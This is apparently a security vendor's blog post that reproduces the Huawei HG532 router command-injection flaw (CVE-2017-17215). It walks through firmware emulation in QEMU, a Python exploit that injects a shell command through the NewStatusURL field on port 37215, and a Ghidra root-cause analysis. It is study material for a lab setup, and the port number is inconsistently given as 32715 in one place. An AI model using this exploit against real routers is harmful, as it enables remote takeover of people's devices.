以“AI+数据安全”领雁!祝贺美创牵头项目入选浙江省科技厅“尖兵领雁”计划 !
2025-12-22
美创AI灾备专家:引领灾备领域迈入“智能化”时代
2025-12-15
热点观察|美创科技丁斐:数据安全 × 价值共创?可信数据空间的 “双向奔赴”
2025-12-03
美创科技高校供应链数据安全方案斩获 2025 年度 “金智奖”
2025-12-03
每周安全速递³⁶⁷ | ShinyHunters 开发新型勒索软件ShinySp1d3r
2025-11-21
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API审计 API防控 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务Huawei HG532系列路由器是一款为家庭和小型办公用户打造的无线路由器产品。2017年11月,Check Point发布安全预警CPAI-2017-1016,报告了华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215)。认证后的攻击者可以向设备37215端口发送恶意报文发起攻击,成功利用漏洞可以远程执行任意代码。
git clone https://github.com/devttys0/binwalkcd binwalksudo python3 setup.py installsudo ./deps.sh
https://ia801309.us.archive.org/15/items/RouterHG532e/router%20HG532e.rar
#下载qemu虚拟机sudo apt-get install qemusudo apt-get install qemu binfmt-support qemu-user-static#下载镜像wget
https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta#配置网络,创建网桥sudo apt-get install bridge-utilssudo brctl addbr Virbr0sudo ifconfig Virbr0 192.168.10.1/24 up#创建tap接口,添加到网桥sudo apt install uml-utilitiessudo tunctl -t tap0sudo ifconfig tap0 192.168.10.11/24 upsudo brctl addif Virbr0 tap0#启动qemu虚拟机apt install qemu-system-mipssudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
pifconfig eth0 192.168.10.2/24 upping 192.168.10.1 -c 10
scp -r squashfs-root/ root@192.168.10.2:~/
mount -o bind /dev ./squashfs-root/devmount -t proc /proc ./squashfs-root/proc
ssh root@192.168.10.2chroot squashfs-root /bin/sh./bin/upnp./bin/mic
ifconfig eth0 192.168.10.2/24 upifconfig br0 192.168.10.11/24 up
该漏洞的利用脚本代码如下
import requestsheaders = { "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"}data = '''<?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewStatusURL>;mkdir /sltest;</NewStatusURL> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL> </u:Upgrade> </s:Body></s:Envelope>'''response = requests.post('http://192.168.10.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data) print(response)
上述示例是在文件系统根目录下创建一个sltest文件夹
执行python3 hg532_exp.py命令运行该脚本,可以看到返回了200状态码
此时在qemu虚拟机的~/squashfs-root目录下可以看到sltest文件夹被成功创建,漏洞复现成功
通过上述漏洞利用脚本不难发现,该漏洞所利用的服务端口为32715,存在漏洞的接口为/ctrlt/DeviceUpgrade_1,存在漏洞的参数为NewStatusURL
接下来可以在binwalk解压得到的/squashfs-root目录中搜索32715、DeviceUpgrade_1、NewStatusURL、NewDownloadURL关键字,看看哪个文件调用了这些存在漏洞的关键点
grep -r 37215grep -r DeviceUpgrade_1grep -r NewStatusURL
可以发现,上述漏洞应和bin/upnp、bin/mic有关
接下来启动Ghidra,创建一个项目,然后将bin/upnp文件导入分析
在Ghidra分析窗口中搜索NewStatusURL关键字,得到唯一结果
按住ctrl点击相应函数名即可定位到伪代码位置
int FUN_0040749c(int param_1){ int iVar1; int local_418; int local_414; char acStack_410 [1028]; iVar1 = ATP_XML_GetChildNodeByName(*(undefined4 *)(param_1 + 0x2c),"NewDownloadURL",0,&local_418 ); if (((iVar1 == 0) && (local_418 != 0)) && (iVar1 = ATP_XML_GetChildNodeByName (*(undefined4 *)(param_1 + 0x2c),"NewStatusURL",0,&local_414), iVar1 == 0) ) { if (local_414 != 0) { snprintf(acStack_410,0x400,"upg -g -U %s -t \'1 Firmware Upgrade Image\' -c upnp -r %s -d -b" , local_418,local_414); system(acStack_410); } } return iVar1;}
可以发现,在18行处通过system函数执行系统命令,而system函数输入的参数名为acStack_410,acStack_410则来源于snprintf函数。而在snprintf函数中,直接通过%s去拼接接收到的local_418、local_414参数,未经过任何处理。而local_418、local_414参数对应的就是xml中的NewDownloadURL、NewStatusURL节点的内容,形成了漏洞。